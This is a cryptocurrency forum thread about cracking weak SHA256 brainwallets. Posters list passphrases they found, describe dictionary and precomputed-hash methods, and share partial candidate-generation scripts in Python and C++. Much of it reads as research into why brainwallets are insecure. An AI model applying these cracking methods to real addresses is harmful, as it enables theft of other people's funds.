odolvlobo
Legendary
Offline
Activity: 4438
Merit: 3387
|
|
November 18, 2018, 09:31:09 PM |
|
I'm doing a writeup on why SHA256 brainwallets are bad, and I'm working on a list of particularly bad passphrase choices: ... Any other suggestions?
The standard brain wallet is generated by hashing a passphrase with SHA-256, but I wonder if there are private keys generated by using other hashes. Running a your search-space through RIPEMD-160 followed by one or more SHA-256 passes might generate some hits. I have no doubts that running your search-space through scrypt will generate some hits on Litecoin and its derivatives.
|
Join an anti-signature campaign: Click ignore on the members of signature campaigns. PGP Fingerprint: 6B6BC26599EC24EF7E29A405EAF050539D0B2925 Signing address: 13GAVJo8YaAuenj6keiEykwxWUZ7jMoSLt
|
|
|
almightyruler
Legendary
Offline
Activity: 2268
Merit: 1092
|
|
November 19, 2018, 08:29:34 PM |
|
The standard brain wallet is generated by hashing a passphrase with SHA-256, but I wonder if there are private keys generated by using other hashes. Running a your search-space through RIPEMD-160 followed by one or more SHA-256 passes might generate some hits. I have no doubts that running your search-space through scrypt will generate some hits on Litecoin and its derivatives. I did do some basic testing using the default hash suite available in a standard PHP install. From memory, I found a few hits for key = sha256(md5(string)) hashes.
|
|
|
|
almightyruler
Legendary
Offline
Activity: 2268
Merit: 1092
|
|
December 30, 2018, 05:17:43 PM |
|
My system is still finding the occasional SHA256 brainwallet. This wallet stands out because it held 1.7 BTC for nearly 4 years, until being emptied in February 2018: https://www.blockchain.com/btc/address/00790d4c5ec89c0e30e1343a2eafc901ee136e9bThe equivalent balance on the Bitcoin Cash chain was also transferred out. A substantial amount to have sitting in a SHA256 brainwallet through the bubble of 2017/2018. Hopefully the transfer was done by the rightful owner. Maybe cashing out as the downward spiral started? The passphrase is "Thats what she said 1974"
|
|
|
|
odolvlobo
Legendary
Offline
Activity: 4438
Merit: 3387
|
|
December 31, 2018, 12:06:14 AM |
|
The passphrase is "Thats what she said 1974"
I'm curious about how you came up with that phrase. Are you going through permutations of dictionary words (and years) or do you have a database of phrases and quotes, or something else?
|
Join an anti-signature campaign: Click ignore on the members of signature campaigns. PGP Fingerprint: 6B6BC26599EC24EF7E29A405EAF050539D0B2925 Signing address: 13GAVJo8YaAuenj6keiEykwxWUZ7jMoSLt
|
|
|
almightyruler
Legendary
Offline
Activity: 2268
Merit: 1092
|
|
January 01, 2019, 05:25:36 AM |
|
The passphrase is "Thats what she said 1974"
I'm curious about how you came up with that phrase. Are you going through permutations of dictionary words (and years) or do you have a database of phrases and quotes, or something else? I've come up with various methods to generate candidate passphrases. In this instance, it was prepending and/or appending common password substrings such as "qwerty", "1234", years etc to a set of common phrases. Basically building all possible phrases from the contents of two distinct dictionaries.
|
|
|
|
HeRetiK
Legendary
Offline
Activity: 3066
Merit: 2166
Playgram - The Telegram Casino
|
|
January 01, 2019, 10:51:33 AM |
|
My system is still finding the occasional SHA256 brainwallet. This wallet stands out because it held 1.7 BTC for nearly 4 years, until being emptied in February 2018: https://www.blockchain.com/btc/address/00790d4c5ec89c0e30e1343a2eafc901ee136e9bThe equivalent balance on the Bitcoin Cash chain was also transferred out. A substantial amount to have sitting in a SHA256 brainwallet through the bubble of 2017/2018. Hopefully the transfer was done by the rightful owner. Maybe cashing out as the downward spiral started? The passphrase is "Thats what she said 1974" It's pretty much a miracle that a passphrase like this went untouched for nearly 4 years. Looking at how both the BTC and the BCH transaction where made in parallel within minutes, forwarding the coins to identical addresses on both chains, I get a feeling that automation may have been in play though -- the kind of automation that scans for brainwallets and steals them, unfortunately.
|
|
|
|
▄▄███████▄▄███████ ▄███████████████▄▄▄▄▄ ▄████████████████████▀░ ▄█████████████████████▄░ ▄█████████▀▀████████████▄ ██████████████▀▀█████████ █████████████████████████ ██████████████▄▄█████████ ▀█████████▄▄████████████▀ ▀█████████████████████▀░ ▀████████████████████▄░ ▀███████████████▀▀▀▀▀ ▀▀███████▀▀███████ | ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ Playgram.io ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ | ▄▄▄░░ ▀▄ █ █ █ █ █ █ █ ▄▀ ▀▀▀░░
| │ | ▄▄▄███████▄▄▄ ▄▄███████████████▄▄ ▄███████████████████▄ ▄██████████████▀▀█████▄ ▄██████████▀▀███▄██▐████▄ ██████▀▀████▄▄▀▀█████████ ████▄▄███▄██▀█████▐██████ ██████████▀██████████████ ▀███████▌▐██▄████▐██████▀ ▀███████▄▄███▄████████▀ ▀███████████████████▀ ▀▀███████████████▀▀ ▀▀▀███████▀▀▀ | | │ | ██████▄▄███████▄▄████████ ███▄███████████████▄░░▀█▀ ███████████░█████████░░█ ░█████▀██▄▄░▄▄██▀█████░█ █████▄░▄███▄███▄░▄██████ ████████████████████████ ████████████████████████ ██░▄▄▄░██░▄▄▄░██░▄▄▄░███ ██░░░█░██░░░█░██░░░█░████ ██░░█░░██░░█░░██░░█░░████ ██▄▄▄▄▄██▄▄▄▄▄██▄▄▄▄▄████ ███████████████████████ ███████████████████████ | | │ | ► | |
|
|
|
almightyruler
Legendary
Offline
Activity: 2268
Merit: 1092
|
|
January 28, 2019, 03:28:31 PM |
|
Another odd one which was swept last month: https://www.blockchain.com/btc/address/45990fb9a0434d35607320d7b501938ea70f01c4The password is the ultra-simple dictionary word "turn", so it's not surprising that it was stolen within minutes, however, 0.02854667 BTC is not exactly an amount you'd send just for fun. Perhaps it was someone new to BTC, who bought $100 worth, then withdrew to a "password protected" wallet without understanding what that meant. Local wallet protected with password "turn" -> Despite password being incredibly weak, funds are still fairly secure. SHA256 brainwallet protected with password "turn" -> Gone in 60 seconds.
|
|
|
|
o_e_l_e_o
In memoriam
Legendary
Offline
Activity: 2268
Merit: 18706
|
|
January 28, 2019, 03:43:12 PM |
|
The password is the ultra-simple dictionary word "turn", so it's not surprising that it was stolen within minutes Interesting that "turn" is one of the 2048 BIP39 words. Wonder if someone got hopelessly confused between passwords and mnemonic seeds? Or if it's just really bad security and purely a coincidence? Have you checked all the other BIP39 words at any point? Is there a pattern at all?
|
|
|
|
almightyruler
Legendary
Offline
Activity: 2268
Merit: 1092
|
|
January 29, 2019, 12:13:02 AM |
|
The password is the ultra-simple dictionary word "turn", so it's not surprising that it was stolen within minutes Interesting that "turn" is one of the 2048 BIP39 words. Wonder if someone got hopelessly confused between passwords and mnemonic seeds? Or if it's just really bad security and purely a coincidence? Have you checked all the other BIP39 words at any point? Is there a pattern at all? I have specifically checked BIP39, but since they're so simple the words are also covered by other databases, such as dictionary (web words, wikipedia words) and also 5 letter combos. I personally think that someone misunderstood the difference between (local) wallet passwords, and SHA256 passwords, but we'll probably never know. It's a pity we can only speculate. This is the only dictionary word I can recall that's had an appreciable amount sent to it. Everything else is just dust.
|
|
|
|
almightyruler
Legendary
Offline
Activity: 2268
Merit: 1092
|
|
January 29, 2019, 12:18:51 AM |
|
I personally think that someone misunderstood the difference between (local) wallet passwords, and SHA256 passwords [...]
This is the only dictionary word I can recall that's had an appreciable amount sent to it. Everything else is just dust.
Hmm, maybe not. I've just found another $100(ish) transaction, and given that it was sent to the "toy" key 23 hex, it seems to be deliberate. https://www.blockchain.com/btc/address/82e2f248afe732a2e5973600ca97a61fe3d240fdPrivate key: 0000000000000000000000000000000000000000000000000000000000000023 Swept immediately, of course. Another toy key (0000000000000000000000000000000000000000000000000000000000000d56) with not insignificant amounts recently sent to it: https://www.blockchain.com/btc/address/da681e4e2cd40b6ba6b1f6b4844b10219c7204b5
|
|
|
|
DaCryptoRaccoon
|
I have been running some scans like this I grabbed about 2TB of word lists for brain wallet hunting. At the moment it is currently syncing up with bitcoin-abe into mysql database (taking forever) I wrote a small python script to create seeds that can be piped into a seed checker as such. import random
filename = "YourWordList.txt"
def main(filename): words_file = open(filename, 'r') words = words_file.read().split("\n") temp_words = [] for word in words: temp_words.append(word.strip("\r")) words = temp_words
while True: length = int(raw_input("12:")) for i in range(0,length): print(words[random.randrange(0,len(words)+1)]), print("\n")
if __name__ == "__main__": main(filename) Still buggy welcome any adaptation Output 12:12 twist flush ranch screen yard film option walk stuff sick maximum stumble
12:12 ill banner replace snack athlete wage patient right sell bicycle meadow weekend
12:12 knock include learn fruit video drama sort crunch cost people undo inherit
12:12 close symbol either voyage cool life obtain enemy valve process consider project
12:12 fish tube lunar among adjust inch transfer slight evil tell apology negative
12:12 host century basket drift scatter raven job carbon excite gym biology hospital
12:12 soup verify mouse whisper weather resource upon lens slim consider celery
12:12 farm gold useless area renew settle until soap rent attract unique ceiling
12:12 code stage dad two brick clock gospel voice easily impose grunt cry
12:12 roast garment board wise fabric bus bundle idea street asthma horse language
I have also been piping in random text like such 1xjPr0ta5PsTrKTlETa3 ay9RDUrEhjdkNX6ynm8V GsAupTvPwo3t0875dsBF LCHaTQYseeu833Wrs3eu 53fCknZ7XGn2CSpDhLVV jX8Tex8rafMjEsQTmY9S yuOEOXF0JzYc0TmB4R36 MolQV7IKX15RSSo4s7OM ZoKMjxUvV5QwTL8ZdCRo 9YLZNaUklLxx6rCwyQKg lekYEIMpEhkPlnFw32bk W7meYuwMyrJtnsL3biLH 8z1FKk39xpPtzzLmtdeQ No results yet from random data. From text word lists I have found around 500+ empty brain wallets so far most of which have already been published in the list. I have been collecting hash160 addresses from the blockchain and have them in a bloom filter searching against the word list but still no results with a small sample space of hash160 at the moment. I have also been testing with random hex being pushed to the brain wallet. //using namespace std; int main(int argc, char *argv[]) { srand(time(NULL)); bool risky_mode = false; bool even_only = false; bool odd_only = false; bool output_random = false; bool use_lower = false; bool use_upper = false; bool use_len_8 = false; bool use_len_9 = false; bool no_0 = false; bool no_1 = false; int desired_uniques = 0; int min_uniques = 6; // 94.6% chance of having 6 to 9 uniques int max_uniques = 9; int min_numbers = 4; // 94.02% chance of having 4 to 8 numbers int max_numbers = 8; int min_letters = 2; // 94.02% chance of having 2 to 6 letters int max_letters = 6; bool negate_sequential = true; // 89.8% chance of not having any 3 consecutive sequential chars (123) or reverse sequential chars (321) int differential = 0; int slot1_start_at = 0; int slot1_stop_at = 0; bool starts_with_letter = false; bool make_next_start_at = false; bool make_next_stop_at = false; int make_next_start_at_cnt = 0; int make_next_stop_at_cnt = 0; unsigned long long int start_at_long = 0; unsigned long long int stop_at_long = 0; if (argc > 1) { for (int i=1;i<argc;++i) { if (stricmp(argv[i], "-risky") == 0) { risky_mode = true; } if (stricmp(argv[i], "-evenonly") == 0) { even_only = true; } if (stricmp(argv[i], "-oddonly") == 0) { odd_only = true; } if (stricmp(argv[i], "-random") == 0) { output_random = true; } if (stricmp(argv[i], "-lower") == 0) { use_lower = true; } if (stricmp(argv[i], "-upper") == 0) { use_upper = true; } if (stricmp(argv[i], "-len8") == 0) { use_len_8 = true; } if (stricmp(argv[i], "-len9") == 0) { use_len_9 = true; } if (stricmp(argv[i], "-no0") == 0) { no_0 = true; } if (stricmp(argv[i], "-no1") == 0) { no_1 = true; } if (stricmp(argv[i], "-no01") == 0) { no_0 = true; no_1 = true; } if (stricmp(argv[i], "-no10") == 0) { no_0 = true; no_1 = true; } if (stricmp(argv[i], "-1unique") == 0) { desired_uniques = min_uniques = max_uniques = 1; } if (stricmp(argv[i], "-2uniques") == 0) { desired_uniques = min_uniques = max_uniques = 2; } if (stricmp(argv[i], "-3uniques") == 0) { desired_uniques = min_uniques = max_uniques = 3; } if (stricmp(argv[i], "-4uniques") == 0) { desired_uniques = min_uniques = max_uniques = 4; } if (stricmp(argv[i], "-5uniques") == 0) { desired_uniques = min_uniques = max_uniques = 5; } if (stricmp(argv[i], "-6uniques") == 0) { desired_uniques = min_uniques = max_uniques = 6; } if (stricmp(argv[i], "-7uniques") == 0) { desired_uniques = min_uniques = max_uniques = 7; } if (stricmp(argv[i], "-8uniques") == 0) { desired_uniques = min_uniques = max_uniques = 8; } if (stricmp(argv[i], "-9uniques") == 0) { desired_uniques = min_uniques = max_uniques = 9; } if (stricmp(argv[i], "-10uniques") == 0) { desired_uniques = min_uniques = max_uniques = 10; } if (stricmp(argv[i], "-1minunique") == 0) { min_uniques = 1; } if (stricmp(argv[i], "-minunique1") == 0) { min_uniques = 1; } if (stricmp(argv[i], "-min1unique") == 0) { min_uniques = 1; } if (stricmp(argv[i], "-2minuniques") == 0) { min_uniques = 2; } if (stricmp(argv[i], "-minuniques2") == 0) { min_uniques = 2; } if (stricmp(argv[i], "-min2uniques") == 0) { min_uniques = 2; } if (stricmp(argv[i], "-3minuniques") == 0) { min_uniques = 3; } if (stricmp(argv[i], "-minuniques3") == 0) { min_uniques = 3; } if (stricmp(argv[i], "-min3uniques") == 0) { min_uniques = 3; } if (stricmp(argv[i], "-4minuniques") == 0) { min_uniques = 4; } if (stricmp(argv[i], "-minuniques4") == 0) { min_uniques = 4; } if (stricmp(argv[i], "-min4uniques") == 0) { min_uniques = 4; } if (stricmp(argv[i], "-5minuniques") == 0) { min_uniques = 5; } if (stricmp(argv[i], "-minuniques5") == 0) { min_uniques = 5; } if (stricmp(argv[i], "-min5uniques") == 0) { min_uniques = 5; } if (stricmp(argv[i], "-6minuniques") == 0) { min_uniques = 6; } if (stricmp(argv[i], "-minuniques6") == 0) { min_uniques = 6; } if (stricmp(argv[i], "-min6uniques") == 0) { min_uniques = 6; } if (stricmp(argv[i], "-7minuniques") == 0) { min_uniques = 7; } if (stricmp(argv[i], "-minuniques7") == 0) { min_uniques = 7; } if (stricmp(argv[i], "-min7uniques") == 0) { min_uniques = 7; } if (stricmp(argv[i], "-8minuniques") == 0) { min_uniques = 8; } if (stricmp(argv[i], "-minuniques8") == 0) { min_uniques = 8; } if (stricmp(argv[i], "-min8uniques") == 0) { min_uniques = 8; } if (stricmp(argv[i], "-9minuniques") == 0) { min_uniques = 9; } if (stricmp(argv[i], "-minuniques9") == 0) { min_uniques = 9; } if (stricmp(argv[i], "-min9uniques") == 0) { min_uniques = 9; } if (stricmp(argv[i], "-10minuniques") == 0) { min_uniques = 10; } if (stricmp(argv[i], "-minuniques10") == 0) { min_uniques = 10; } if (stricmp(argv[i], "-min10uniques") == 0) { min_uniques = 10; } if (stricmp(argv[i], "-1maxunique") == 0) { max_uniques = 1; } if (stricmp(argv[i], "-maxunique1") == 0) { max_uniques = 1; } if (stricmp(argv[i], "-max1unique") == 0) { max_uniques = 1; } if (stricmp(argv[i], "-2maxuniques") == 0) { max_uniques = 2; } if (stricmp(argv[i], "-maxuniques2") == 0) { max_uniques = 2; } if (stricmp(argv[i], "-max2uniques") == 0) { max_uniques = 2; } if (stricmp(argv[i], "-3maxuniques") == 0) { max_uniques = 3; } if (stricmp(argv[i], "-maxuniques3") == 0) { max_uniques = 3; } if (stricmp(argv[i], "-max3uniques") == 0) { max_uniques = 3; } if (stricmp(argv[i], "-4maxuniques") == 0) { max_uniques = 4; } if (stricmp(argv[i], "-maxuniques4") == 0) { max_uniques = 4; } if (stricmp(argv[i], "-max4uniques") == 0) { max_uniques = 4; } if (stricmp(argv[i], "-5maxuniques") == 0) { max_uniques = 5; } if (stricmp(argv[i], "-maxuniques5") == 0) { max_uniques = 5; } if (stricmp(argv[i], "-max5uniques") == 0) { max_uniques = 5; } if (stricmp(argv[i], "-6maxuniques") == 0) { max_uniques = 6; } if (stricmp(argv[i], "-maxuniques6") == 0) { max_uniques = 6; } if (stricmp(argv[i], "-max6uniques") == 0) { max_uniques = 6; } if (stricmp(argv[i], "-7maxuniques") == 0) { max_uniques = 7; } if (stricmp(argv[i], "-maxuniques7") == 0) { max_uniques = 7; } if (stricmp(argv[i], "-max7uniques") == 0) { max_uniques = 7; } if (stricmp(argv[i], "-8maxuniques") == 0) { max_uniques = 8; } if (stricmp(argv[i], "-maxuniques8") == 0) { max_uniques = 8; } if (stricmp(argv[i], "-max8uniques") == 0) { max_uniques = 8; } if (stricmp(argv[i], "-9maxuniques") == 0) { max_uniques = 9; } if (stricmp(argv[i], "-maxuniques9") == 0) { max_uniques = 9; } if (stricmp(argv[i], "-max9uniques") == 0) { max_uniques = 9; } if (stricmp(argv[i], "-10maxuniques") == 0) { max_uniques = 10; } if (stricmp(argv[i], "-maxuniques10") == 0) { max_uniques = 10; } if (stricmp(argv[i], "-max10uniques") == 0) { max_uniques = 10; } if (stricmp(argv[i], "-startswith0") == 0) { slot1_start_at = 0; starts_with_letter = true; } if (stricmp(argv[i], "-startswith1") == 0) { slot1_start_at = 1; starts_with_letter = true; } if (stricmp(argv[i], "-startswith2") == 0) { slot1_start_at = 2; starts_with_letter = true; } if (stricmp(argv[i], "-startswith3") == 0) { slot1_start_at = 3; starts_with_letter = true; } if (stricmp(argv[i], "-startswith4") == 0) { slot1_start_at = 4; starts_with_letter = true; } if (stricmp(argv[i], "-startswith5") == 0) { slot1_start_at = 5; starts_with_letter = true; } if (stricmp(argv[i], "-startswith6") == 0) { slot1_start_at = 6; starts_with_letter = true; } if (stricmp(argv[i], "-startswith7") == 0) { slot1_start_at = 7; starts_with_letter = true; } if (stricmp(argv[i], "-startswith8") == 0) { slot1_start_at = 8; starts_with_letter = true; } if (stricmp(argv[i], "-startswith9") == 0) { slot1_start_at = 9; starts_with_letter = true; } if (stricmp(argv[i], "-startswithA") == 0) { slot1_start_at = 10; starts_with_letter = true; } if (stricmp(argv[i], "-startswithB") == 0) { slot1_start_at = 11; starts_with_letter = true; } if (stricmp(argv[i], "-startswithC") == 0) { slot1_start_at = 12; starts_with_letter = true; } if (stricmp(argv[i], "-startswithD") == 0) { slot1_start_at = 13; starts_with_letter = true; } if (stricmp(argv[i], "-startswithE") == 0) { slot1_start_at = 14; starts_with_letter = true; } if (stricmp(argv[i], "-startswithF") == 0) { slot1_start_at = 15; starts_with_letter = true; } if (stricmp(argv[i], "-start") == 0) { make_next_start_at = true; make_next_start_at_cnt = i; } if (stricmp(argv[i], "-stop") == 0) { make_next_stop_at = true; make_next_stop_at_cnt = i; } if ((make_next_start_at) && (i == (make_next_start_at_cnt+1))) { std::istringstream str_to_num(argv[i]); str_to_num >> start_at_long; if (!str_to_num) {std::cout << "ERROR: start is not a number" << "\n"; return 1;} make_next_start_at = false; } if ((make_next_stop_at) && (i == (make_next_stop_at_cnt+1))) { std::istringstream str_to_num(argv[i]); str_to_num >> stop_at_long; if (!str_to_num) {std::cout << "ERROR: stop is not a number" << "\n"; return 1;} make_next_stop_at = false; } } }
// --------------------------------------------------- // Number of combinations (10-length) // --------------------------------------------------- // # of combos (10-length) = 1,099,511,627,776 (16^10) (13,194.14 GB) // # of combos (10-length) with rules (6-9 uniques): 564,561,702,612 (51.3%) (6,774.74 GB) // # of combos (10-length) with rules (10 uniques): 18,649,285,466 (1.7%) (223.79 GB) // # of combos (10-length) with rules (09 uniques): 116,641,092,458 (10.6%) (1,399.69 GB) // # of combos (10-length) with rules (08 uniques): 226,271,576,762 (20.6%) (2,715.26 GB) // # of combos (10-length) with rules (07 uniques): 170,561,659,663 (15.5%) (2,046.74 GB) // # of combos (10-length) with rules (06 uniques): 51,087,373,729 (4.6%) (613 GB) // # of combos (10-length) with rules (05 uniques): 5,392,440,877 (0.5%) (64.7 GB) // # of combos (10-length) with rules (04 uniques): 132,844,293 (0.012%) (1.59 GB)
// --------------------------------------------------- // Number of combinations (10-length) (RISKY) // --------------------------------------------------- // # of combos (10-length) = 1,099,511,627,776 (16^10) (13,194.14 GB) // # of combos (10-length) with rules (6-9 uniques): 367,647,332,933 (33.4%) (4,411.8 GB) // # of combos (10-length) with rules (10 uniques): 12,010,291,278 (1.1%) (144.1 GB) // # of combos (10-length) with rules (09 uniques): 75,876,130,604 (6.9%) (910.5 GB) // # of combos (10-length) with rules (08 uniques): 147,638,929,917 (13.4%) (1,771.7 GB) // # of combos (10-length) with rules (07 uniques): 111,045,927,794 (10.1%) (1,332.6 GB) // # of combos (10-length) with rules (06 uniques): 33,086,344,618 (3.0%) (397 GB) // # of combos (10-length) with rules (05 uniques): 3,472,496,526 (0.31%) (41.7 GB) // # of combos (10-length) with rules (04 uniques): 85,114,150 (0.008%) (1.02 GB) instead of creating the lists I am piping the output of the scan direct to the scanner which save on the disk space some what. I would like to hash some lists of words I have then pipe the input to the scanner what would be the best method of hashing large passwords lists to a specific hash output? Thanks
|
┏━━━━━━━━━━━━━━━━━┓ ┃ 𝔱𝔥𝔬𝔲 𝔰𝔥𝔞𝔩𝔱 𝔴𝔬𝔯ⱪ 𝔣𝔬𝔯 𝔶𝔬𝔲𝔯 𝔟𝔞𝔤𝔰 ┃ ┃ ➤21/M ┃ ┃ ███▓▓ ███▓▓ ███▓▓ ███▓▓┃
|
|
|
HeRetiK
Legendary
Offline
Activity: 3066
Merit: 2166
Playgram - The Telegram Casino
|
|
February 06, 2019, 02:43:24 PM |
|
where is admin, mod? Why topics like this can exist?
Security liabilities need to be discussed publicly, otherwise you have no basis for public discourse, awareness and improvement. Note that this thread is about monitoring and documenting cases of brainwallet thefts, rather than stealing them. While these thefts are happening regardless of whether threads like this exist, it may prevent some people from generating weak brainwallets and becoming victims themselves.
|
|
|
|
▄▄███████▄▄███████ ▄███████████████▄▄▄▄▄ ▄████████████████████▀░ ▄█████████████████████▄░ ▄█████████▀▀████████████▄ ██████████████▀▀█████████ █████████████████████████ ██████████████▄▄█████████ ▀█████████▄▄████████████▀ ▀█████████████████████▀░ ▀████████████████████▄░ ▀███████████████▀▀▀▀▀ ▀▀███████▀▀███████ | ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ Playgram.io ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ | ▄▄▄░░ ▀▄ █ █ █ █ █ █ █ ▄▀ ▀▀▀░░
| │ | ▄▄▄███████▄▄▄ ▄▄███████████████▄▄ ▄███████████████████▄ ▄██████████████▀▀█████▄ ▄██████████▀▀███▄██▐████▄ ██████▀▀████▄▄▀▀█████████ ████▄▄███▄██▀█████▐██████ ██████████▀██████████████ ▀███████▌▐██▄████▐██████▀ ▀███████▄▄███▄████████▀ ▀███████████████████▀ ▀▀███████████████▀▀ ▀▀▀███████▀▀▀ | | │ | ██████▄▄███████▄▄████████ ███▄███████████████▄░░▀█▀ ███████████░█████████░░█ ░█████▀██▄▄░▄▄██▀█████░█ █████▄░▄███▄███▄░▄██████ ████████████████████████ ████████████████████████ ██░▄▄▄░██░▄▄▄░██░▄▄▄░███ ██░░░█░██░░░█░██░░░█░████ ██░░█░░██░░█░░██░░█░░████ ██▄▄▄▄▄██▄▄▄▄▄██▄▄▄▄▄████ ███████████████████████ ███████████████████████ | | │ | ► | |
|
|
|
almightyruler
Legendary
Offline
Activity: 2268
Merit: 1092
|
|
February 06, 2019, 05:48:51 PM |
|
so why have to write and post script here? Teach everybody do with him?
I don't think there's really been any great detail discussed in this thread. This is not a plug and play Docker image that any script kiddie can have running in 30 seconds. Although the basic premise is simple, building a system that can efficiently check trillions of potential passphrases against hundreds of millions of active addresses is not a trivial task, and it's become more difficult as the blockchain grows. I've spent many hours developing custom tools, a lot longer than I probably should have, but this is a hobby, not a criminal business. If I was driven by something besides geeky curiosity I probably never would have bothered. This is unlikely to be profitable for a criminal. It's not 2015 any more.
|
|
|
|
almightyruler
Legendary
Offline
Activity: 2268
Merit: 1092
|
|
February 06, 2019, 06:13:43 PM |
|
I wrote a small python script to create seeds that can be piped into a seed checker as such.
Output 12:12 twist flush ranch screen yard film option walk stuff sick maximum stumble
Hmm... what's the point of throwing randomly selected word sets at your address checker? The chances of matching a 12 word passphrase are essentially zero. I think your size calcs may be off a bit, too. I pre-calculated the RMD160 values for all ASCII 1 to 5 character words, and the output is about 0.9TB in size. To increase to 6 characters would result in a file size about 95 times that (about 80TB) and to go up to 7 characters would result in an output of over 7000TB. And consider the amount of time needed to check 135 trillion entries. That's one of the interesting things about SHA256 brainwallets (so long as you're doing this for fun) : it can be easy to find them, but it's also very, very hard.
|
|
|
|
HeRetiK
Legendary
Offline
Activity: 3066
Merit: 2166
Playgram - The Telegram Casino
|
|
February 06, 2019, 10:30:58 PM |
|
I think your size calcs may be off a bit, too. I pre-calculated the RMD160 values for all ASCII 1 to 5 character words, and the output is about 0.9TB in size. To increase to 6 characters would result in a file size about 95 times that (about 80TB) and to go up to 7 characters would result in an output of over 7000TB. And consider the amount of time needed to check 135 trillion entries.
How long did it take you to generate a rainbow table of this size? I'm just curious about the timescale (so hardware specs for reference would also be nice). Sorry in case you already mentioned it upthread and I overlooked it. That's one of the interesting things about SHA256 brainwallets (so long as you're doing this for fun) : it can be easy to find them, but it's also very, very hard. Stealing brainwallets is probably still profitable though, as I assume that the running costs are close to nil once you've set up the infrastructure.
|
|
|
|
▄▄███████▄▄███████ ▄███████████████▄▄▄▄▄ ▄████████████████████▀░ ▄█████████████████████▄░ ▄█████████▀▀████████████▄ ██████████████▀▀█████████ █████████████████████████ ██████████████▄▄█████████ ▀█████████▄▄████████████▀ ▀█████████████████████▀░ ▀████████████████████▄░ ▀███████████████▀▀▀▀▀ ▀▀███████▀▀███████ | ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ Playgram.io ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ | ▄▄▄░░ ▀▄ █ █ █ █ █ █ █ ▄▀ ▀▀▀░░
| │ | ▄▄▄███████▄▄▄ ▄▄███████████████▄▄ ▄███████████████████▄ ▄██████████████▀▀█████▄ ▄██████████▀▀███▄██▐████▄ ██████▀▀████▄▄▀▀█████████ ████▄▄███▄██▀█████▐██████ ██████████▀██████████████ ▀███████▌▐██▄████▐██████▀ ▀███████▄▄███▄████████▀ ▀███████████████████▀ ▀▀███████████████▀▀ ▀▀▀███████▀▀▀ | | │ | ██████▄▄███████▄▄████████ ███▄███████████████▄░░▀█▀ ███████████░█████████░░█ ░█████▀██▄▄░▄▄██▀█████░█ █████▄░▄███▄███▄░▄██████ ████████████████████████ ████████████████████████ ██░▄▄▄░██░▄▄▄░██░▄▄▄░███ ██░░░█░██░░░█░██░░░█░████ ██░░█░░██░░█░░██░░█░░████ ██▄▄▄▄▄██▄▄▄▄▄██▄▄▄▄▄████ ███████████████████████ ███████████████████████ | | │ | ► | |
|
|
|
almightyruler
Legendary
Offline
Activity: 2268
Merit: 1092
|
I think your size calcs may be off a bit, too. I pre-calculated the RMD160 values for all ASCII 1 to 5 character words, and the output is about 0.9TB in size. To increase to 6 characters would result in a file size about 95 times that (about 80TB) and to go up to 7 characters would result in an output of over 7000TB. And consider the amount of time needed to check 135 trillion entries.
How long did it take you to generate a rainbow table of this size? I'm just curious about the timescale (so hardware specs for reference would also be nice). It took something like 3 weeks, on a leased 4 core Xeon server. Sorting and removing duplicates from 1TB+ of raw data presented some challenges. Note that this table is not indexed in any way, it's just a text file with hashes. I use a custom filter program to check which of those precomputed hashes appear in a given blockchain. To go further and build a database that can watch for known addresses in real time would be quite a bit more complex, and would need a lot more than 0.9TB of disk space. That's one of the interesting things about SHA256 brainwallets (so long as you're doing this for fun) : it can be easy to find them, but it's also very, very hard. Stealing brainwallets is probably still profitable though, as I assume that the running costs are close to nil once you've set up the infrastructure. I disagree, which is why I qualified my above statement with "so long as you're doing this for fun". Imagine how many things have to go right when someone sends funds to a weak SHA256 brainwallet: - The thief needs a fast connection with multiple peers so that his bot (hopefully) sees the funding transaction first. - The thief needs a fast database server that is able to check the outputs of each new transaction, and if any addresses are known, return a private key (or keys), within a very short period of time. - The thief needs to decide how much of a fee to pay for the sweep transaction, bearing in mind that someone else's bot may choose a higher fee to override the transaction. (This could end up being a race to the bottom.) - The thief then needs his sweep transaction to be the one that propagates out to the majority of nodes (and more specifically, mining nodes) first. I've probably missed other factors. This is not the sort of thing you can run on a $5/mo VPS. I don't think it would be worth it, but as I've stated in this thread earlier, maybe it's an ego thing.
|
|
|
|
Effingham Hoofnagle
Newbie
Offline
Activity: 18
Merit: 7
|
|
February 07, 2019, 03:59:56 AM |
|
Seems like a waste of time to use random BIP words, as the seed word generation process involves checks, and many randomly generated combinations will be invalid.
Plus, even with a list of valid word combinations, it's a fools game in terms of odds.
|
|
|
|
almightyruler
Legendary
Offline
Activity: 2268
Merit: 1092
|
|
February 07, 2019, 05:50:41 AM |
|
Plus, even with a list of valid word combinations, it's a fools game in terms of odds.
May as well just generate random private keys then. // output random hex digits as a 256 bit priv key
#include <stdio.h> #include <stdint.h> #include <stdlib.h> #include <sys/types.h> #include <sys/time.h>
uint64_t timeuseconds() { struct timeval thistime;
gettimeofday(&thistime, NULL); return((thistime.tv_sec * 1000000) + (thistime.tv_usec % 1000000)); }
int main() {
int i;
